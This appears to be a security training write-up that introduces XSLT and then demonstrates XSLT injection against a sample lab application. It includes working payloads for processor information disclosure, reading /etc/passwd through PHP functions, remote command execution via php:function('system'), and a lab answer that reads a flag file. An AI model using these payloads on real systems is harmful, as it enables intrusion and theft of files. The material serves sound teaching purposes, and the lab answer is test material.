XSLT
eXtensible Stylesheet Language Transformation (XSLT) is a language enabling the transformation of XML documents. For instance, it can select specific nodes from an XML document and change the XML structure.
eXtensible Stylesheet Language Transformation (XSLT)
Since XSLT operates on XML-based data, we will consider the following sample XML document to explore how XSLT operates:
<?xml version="1.0" encoding="UTF-8"?>
<fruits>
<fruit>
<name>Apple</name>
<color>Red</color>
<size>Medium</size>
</fruit>
<fruit>
<name>Banana</name>
<color>Yellow</color>
<size>Medium</size>
</fruit>
<fruit>
<name>Strawberry</name>
<color>Red</color>
<size>Small</size>
</fruit>
</fruits>
However, it contains XSL elements within nodes prefixed with the xsl
-prefix. The following are some commonly used XSL elements:
<xsl:template>
: This element indicates an XSL template. It can contain amatch
attribute that contains a path in the XML document that the template applies to<xsl:value-of>
: This element extracts the value of the XML node specified in theselect
attribute<xsl:for-each>
: This element enables looping over all XML nodes specified in theselect
attribute
For instance, a simple XSLT document used to output all fruits contained within the XML document as well as their color, may look like this:
<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/fruits">
Here are all the fruits:
<xsl:for-each select="fruit">
<xsl:value-of select="name"/> (<xsl:value-of select="color"/>)
</xsl:for-each>
</xsl:template>
</xsl:stylesheet>
XSLT Injection
Identifying XSLT Injection

At the bottom of the page, we can provide a username that is inserted into the headline at the top of the list:

To confirm that, let us try to inject a broken XML tag to try to provoke an error in the web application. We can achieve this by providing the username <
:

As we can see, the web application responds with a server error. While this does not confirm that an XSLT injection vulnerability is present, it might indicate the presence of a security issue.
Information Disclosure
We can try to infer some basic information about the XSLT processor in use by injecting the following XSLT elements:
Version: <xsl:value-of select="system-property('xsl:version')" />
<br/>
Vendor: <xsl:value-of select="system-property('xsl:vendor')" />
<br/>
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" />
<br/>
Product Name: <xsl:value-of select="system-property('xsl:product-name')" />
<br/>
Product Version: <xsl:value-of select="system-property('xsl:product-version')" />
The web application provides the following response:

Local File Inclusion (LFI)
For instance, XSLT contains a function unparsed-text
that can be used to read a local file:
<xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')" />
However, it was only introduced in XSLT version 2.0. Thus, our sample web application does not support this function and instead errors out. However, if the XSLT library is configured to support PHP functions, we can call the PHP function file_get_contents
using the following XSLT element:
<xsl:value-of select="php:function('file_get_contents','/etc/passwd')" />
Our sample web application is configured to support PHP functions. As such, the local file is displayed in the response:

Remote Code Execution (RCE)
For instance, we can call the PHP function system
to execute a command:
<xsl:value-of select="php:function('system','id')" />

PoCs - Questions
Exploit the XSLT Injection vulnerability to obtain RCE and read the flag.
<xsl:value-of select="php:function('system','cat /flag.txt')" />
Last updated